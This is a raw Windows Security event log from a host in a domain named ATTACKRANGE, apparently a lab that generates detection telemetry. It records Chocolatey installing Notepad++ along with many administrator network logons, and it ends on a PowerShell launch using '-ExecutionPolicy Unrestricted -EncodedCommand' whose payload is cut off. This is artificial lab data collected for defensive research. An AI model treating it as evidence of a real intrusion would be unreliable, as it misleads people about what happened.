-EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246029 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf10 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notepad++.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246027 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd84 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" -o "C:\ProgramData\chocolatey\bin\notepad++.exe" -p "c:\program files\notepad++\notepad++.exe" -i "C:\Program Files\Notepad++\notepad++.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246026 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf0c - New Process Name: C:\Windows\System32\regsvr32.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xebc - Creator Process Name: C:\Windows\SysWOW64\regsvr32.exe - Process Command Line: /s "C:\Program Files\Notepad++\NppShell_06.dll" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246049 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E99 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246048 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246047 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BC2C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246046 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E99 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246045 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E99 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246044 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246043 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246042 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E68 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246041 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E68 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246040 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72E68 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246039 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246038 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246037 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6D858 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246036 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6D16A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246035 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BE79 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa3c - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246033 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa3c - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd84 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\qs5z4hew.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246071 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x747B9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246070 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x747B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246069 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246068 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe30 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246066 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd04 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 